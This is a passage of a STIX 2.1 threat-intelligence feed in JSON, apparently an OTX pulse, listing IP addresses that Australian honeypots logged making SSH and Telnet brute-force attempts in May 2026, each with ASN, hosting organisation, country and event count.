      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 202302. Organisation(s): NETH LLC.",
      "id": "indicator--544fe835-47e2-4394-a425-538d777827d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.61.53.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 43641. Organisation(s): SOLLUTIUM EU Sp z.o.o..",
      "id": "indicator--f2fc7f42-e651-4121-8b9b-e1b1bd4969cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.160.220.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 204800. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--0cb5224a-dedb-4ea7-a3fa-064c5470257c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.38.91.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--6033f9d6-d954-4fe8-ab0a-48e73d814c64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.71.214.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--5bf6dc90-8e57-456e-bc5e-a5f42bf96ef9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 174. Organisation(s): Cogent Communications, LLC.",
      "id": "indicator--750dff3c-a3c8-4432-8f5a-a376806bb76b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.59.21.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398493. Organisation(s): System In Place.",
      "id": "indicator--3dd5a518-4545-425a-9610-bbb04128d86e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '204.197.163.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40395. Organisation(s): VIRTBIZ Internet Services.",
      "id": "indicator--e12b7ff1-5439-480c-9323-694065af975e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '208.67.251.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--a359eb02-1d98-49c1-ac70-013069d581de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '208.87.243.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 213035. Organisation(s): Des Capital B.V..",
      "id": "indicator--26526aae-f7e2-4a07-ba6d-3bcb99c63238",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.192.240.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--354b8eed-37a9-4030-b5f5-d6d3bb753b9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.95.43.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--dbb42f15-af77-47ea-9d7d-f44d1c15ceaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.204.10.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--dee2d6c2-1974-4ebf-b432-c0cbdb3e902b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.60.225.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CY. ASN(s): 209847. Organisation(s): WorkTitans B.V..",
      "id": "indicator--50b4953d-acc8-4aae-913a-aa036f11db29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.12.132.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--33aeef2d-4c02-4290-a76b-294cebf40141",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.152.162.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--7f75124c-2826-40e8-956d-91413d955c14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.62.157.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--bccb6abb-7c5e-4db6-8d10-b78fe6e65da1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.79.177.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--22fc4274-6bd7-40cc-b926-3f3b8cf35b2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '54.39.133.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc..",
      "id": "indicator--73508445-9d34-4534-8a49-298fbdb2f66a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.94.100.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11878. Organisation(s): tzulo, inc..",
      "id": "indicator--faad1c76-4582-4676-aee3-f7333243d29d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.235.57.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11878. Organisation(s): tzulo, inc..",
      "id": "indicator--552f80ff-010e-4b9c-b23c-1c80f620c515",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.235.62.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11878. Organisation(s): tzulo, inc..",
      "id": "indicator--58f132e6-2d4c-4a57-96f0-6546a01c5af3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.235.63.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--c0833bab-3693-49fa-846c-e71ff38e12e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.48.105.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 212221. Organisation(s): Internet Broker Srl.",
      "id": "indicator--eb62b79f-85dc-483c-8c1e-ee24308bb0af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.45.201.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SK. ASN(s): 41591. Organisation(s): EuroServer.sk s.r.o..",
      "id": "indicator--ab61d68e-b8db-4966-ba22-6ea73838f97e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.223.69.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--dbb38730-3d48-44e3-9f01-40d04f165590",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.246.87.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH. Usernames observed (masked): r**t. Passwords observed (masked): u****u.",
      "id": "indicator--e11bdbdc-c6d7-4863-8284-9905f8373fd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 60781. Organisation(s): LeaseWeb Netherlands B.V..",
      "id": "indicator--13dd8187-dd6d-4d01-8355-46f3d7ae95cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.168.164.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 19318. Organisation(s): Interserver, Inc. Usernames observed (masked): r**t. Passwords observed (masked): p******d.",
      "id": "indicator--cf5d1064-c2ab-4a09-92a0-1c98945434d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.215.32.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f8609e0b-232b-4dee-9058-c1b348dd7bca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.236.66.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 141739. Organisation(s): China Telecom.",
      "id": "indicator--96c2cad8-0f54-4193-85b6-48cfe0fc7e15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.80.180.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--2e65df83-b271-493d-8e24-df325a5da08c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.12.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--c9e90f80-fb07-469d-9c1a-e01ebf2f9c47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.56.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 203087. Organisation(s): Fedinyak Sergey Vyacheslavovich.",
      "id": "indicator--12f67ea1-d94e-47c1-b31f-a5bd710405ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.248.198.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue.",
      "id": "indicator--8c15e93a-3e59-424d-95e1-0a08b9f5b22e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.28.107.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 6698. Organisation(s): Virtual Systems LLC.",
      "id": "indicator--e0037e6d-10b6-4fc1-a7af-ec9ebab6fc19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.0.104.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--681ff9d1-810f-4ddb-b52a-9df9cb374ea7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.201.207.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
